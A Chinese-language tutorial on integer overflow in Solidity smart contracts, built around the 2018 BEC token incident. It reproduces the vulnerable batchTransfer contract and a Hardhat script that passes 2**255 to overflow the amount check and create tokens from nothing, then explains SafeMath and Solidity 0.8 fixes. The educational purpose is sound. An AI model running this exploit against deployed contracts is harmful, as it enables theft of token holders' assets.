概述
整型溢位是智慧合約中常見的漏洞之一。以太坊虛擬機器對整數使用固定大小的資料型別,一個整數變數僅能表示一個固定範圍的數值,比如uint8型別只能儲存[0, 255]。當把超過某個資料型別範圍的數值儲存到這個變數時,就會產生溢位。例如
- 將一個uint8型別,值為0的變數進行減1操作時,計算結果會等於255,稱為減法溢位
- 將一個uint8型別,值為255的變數進行加1操作時,計算結果會等於0,稱為加法溢位
- 將一個uint8型別,值為128的變數進行乘2操作時,計算結果會等於0,稱為乘法溢位
這種數字上的謬誤會允許攻擊者使用惡意程式碼來創造一些非預期的邏輯流程。
重大事件
- 2018年4月22日,駭客利用整型溢位漏洞,對美鏈(BEC)發起攻擊,無中生有,憑空取出57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968個BEC代幣,導致BEC價格近乎歸零
- 2018年4月25日,SMT專案方發現其交易存在異常,駭客利用其整型溢位漏洞創造了65,133,050,195,990,400,000,000,000,000,000,000,000,000,000,000,000,000,000,000.891004451135422463個SMT代幣
程式碼演示
使用hardhat建立合約工程,scripts/attack.ts
為攻擊流程演示程式碼,contracts/BecToken
為漏洞合約程式碼。這裡的合約直接使用了美鏈(BEC)的合約程式碼。
部分合約程式碼:
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
// batchTransfer函式存在漏洞
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
// 這一行沒有考慮整型溢位
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
攻擊指令碼程式碼:
import { ethers } from "hardhat";
async function main() {
// deploy
const [owner, attacker1, attacker2, attacker3] = await ethers.getSigners();
const BecToken = await ethers.getContractFactory("BecToken");
const becToken = await BecToken.connect(owner).deploy();
await becToken.deployed();
console.log(`BecToken deployed successfully. The address is ${becToken.address}`);
console.log('BecToken totalSupply:', await becToken.totalSupply());
// attack
console.log('[before]attacker1 token num:', await becToken.balanceOf(attacker1.address));
console.log('[before]attacker2 token num', await becToken.balanceOf(attacker2.address));
console.log('[before]attacker3 token num', await becToken.balanceOf(attacker3.address));
await becToken.connect(attacker1).batchTransfer([attacker2.address, attacker3.address], BigInt(2) ** BigInt(255));
console.log('[after]attacker2 token num', await becToken.balanceOf(attacker2.address));
console.log('[after]attacker3 token num', await becToken.balanceOf(attacker3.address));
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
- BSC合約考慮到了加法以及減法導致的整型溢位問題。使用了SafeMath的sub,add函式進行加減操作。
- 然而忽略了
batchTransfer
中uint256 amount = uint256(cnt) * _value;
這一行程式碼。_value值為使用者可控制的引數,卻沒有進行任何值的判斷。攻擊者可以輕鬆構造惡意引數請求,讓uint256(cnt) * _value
溢位。 - 攻擊者直接呼叫
batchTransfer
合約函式,傳入兩個賬戶地址attacker2.address attacker3.address
, 以及_value 2**255
當使用構造的惡意引數時,
uint256 amount = uint256(cnt) * _value;
發生乘法溢位,amount
的值為0,成功繞過了require(_value > 0 && balances[msg.sender] >= amount);
檢查,向_receivers
地址轉入2 ** 255
個token, 哪怕msg.sender(attacker1)
賬戶下只有0個token,沒有2 ** 255
個token
如何修復和預防
- Solidity < 0.8.0,使用openzeppelin提供的SafeMath庫函式進行數值的加減乘除操作
- Solidity >= 0.8.0, Solidity編譯器自動整合SafeMath, 直接使用
+ - * /
即可,發生溢位時會自動回退交易
結語
整型溢位是非常常見基礎的智慧合約漏洞,但在歷史上也造成過鉅額的資產損失。因此,合約開發人員還是要認真對待,使用SafeMath或使用Solidity0.8.0以上版本來預防整型溢位風險。
完整程式碼
https://github.com/demo-box/blockchain-demo/tree/main/integerOverflow
https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code